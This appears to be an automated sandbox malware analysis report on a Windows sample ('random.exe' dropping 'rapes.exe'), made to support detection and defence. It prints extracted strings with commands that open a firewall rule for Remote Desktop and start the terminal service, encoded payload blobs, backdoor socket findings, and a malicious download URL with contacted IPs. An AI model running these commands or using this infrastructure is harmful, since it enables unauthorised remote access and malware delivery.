ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe String found in binary or memory: net start termservice
Source: rapes.exe, 00000014.00000003.1552207485.0000000005280000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: net start termservice
Source: rapes.exe, 00000014.00000003.1552207485.0000000005280000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe, 00000014.00000002.1592540708.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String found in binary or memory: net start termservice
Source: rapes.exe, 00000014.00000002.1592540708.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe String found in binary or memory: net start termservice
Source: rapes.exe, 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String found in binary or memory: net start termservice
Source: rapes.exe, 00000015.00000002.1602440878.0000000000AB1000.00000040.00000001.01000000.00000011.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe, 00000015.00000003.1561578454.0000000004D10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: net start termservice
Source: rapes.exe, 00000015.00000003.1561578454.0000000004D10000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00251204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket, 0_2_00251204
Source: C:\Users\user\Desktop\random.exe Code function: 0_2_00251806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket, 0_2_00251806
windows-stand
Behavior
Click here to start
Slideshow Behavior Animation
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1651729 Sample: random.exe Startdate: 29/03/2025 Architecture: WINDOWS Score: 100 54 176.113.115.6 SELECTELRU Russian Federation 2->54 60 Found malware configuration 2->60 62 Antivirus / Scanner detection for submitted sample 2->62 64 Sigma detected: Powershell download and execute file 2->64 66 17 other signatures 2->66 10 random.exe 1 2->10         started        14 rapes.exe 2->14         started        16 mshta.exe 1 2->16         started        18 svchost.exe 1 1 2->18         started        signatures3 process4 dnsIp5 50 C:\Users\user\AppData\Local\...\3bp2mYNSQ.hta, HTML 10->50 dropped 82 Binary is likely a compiled AutoIt script file 10->82 84 Found API chain indicative of sandbox detection 10->84 86 Creates HTA files 10->86 21 mshta.exe 1 10->21         started        24 cmd.exe 1 10->24         started        88 Contains functionality to start a terminal service 14->88 90 Hides threads from debuggers 14->90 92 Tries to detect sandboxes / dynamic malware analysis system (registry check) 14->92 94 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 14->94 96 Suspicious powershell command line found 16->96 98 Tries to download and execute files (via powershell) 16->98 26 powershell.exe 16 16->26         started        56 127.0.0.1 unknown unknown 18->56 file6 signatures7 process8 signatures9 68 Suspicious powershell command line found 21->68 70 Tries to download and execute files (via powershell) 21->70 28 powershell.exe 15 20 21->28         started        72 Uses schtasks.exe or at.exe to add and modify task schedules 24->72 33 conhost.exe 24->33         started        35 schtasks.exe 1 24->35         started        37 conhost.exe 26->37         started        process10 dnsIp11 58 176.113.115.7, 49682, 80 SELECTELRU Russian Federation 28->58 52 TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE, PE32 28->52 dropped 108 Powershell drops PE file 28->108 39 TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE 4 28->39         started        43 conhost.exe 28->43         started        file12 signatures13 process14 file15 48 C:\Users\user\AppData\Local\...\rapes.exe, PE32 39->48 dropped 74 Antivirus detection for dropped file 39->74 76 Detected unpacking (changes PE section rights) 39->76 78 Contains functionality to start a terminal service 39->78 80 5 other signatures 39->80 45 rapes.exe 39->45         started        signatures16 process17 signatures18 100 Antivirus detection for dropped file 45->100 102 Detected unpacking (changes PE section rights) 45->102 104 Contains functionality to start a terminal service 45->104 106 5 other signatures 45->106
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
176.113.115.7
 unknown Russian Federation
49505 SELECTELRU true
176.113.115.6
 unknown Russian Federation
49505 SELECTELRU true

Private

IP
127.0.0.1

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://176.113.115.7/mine/random.exe false
    		high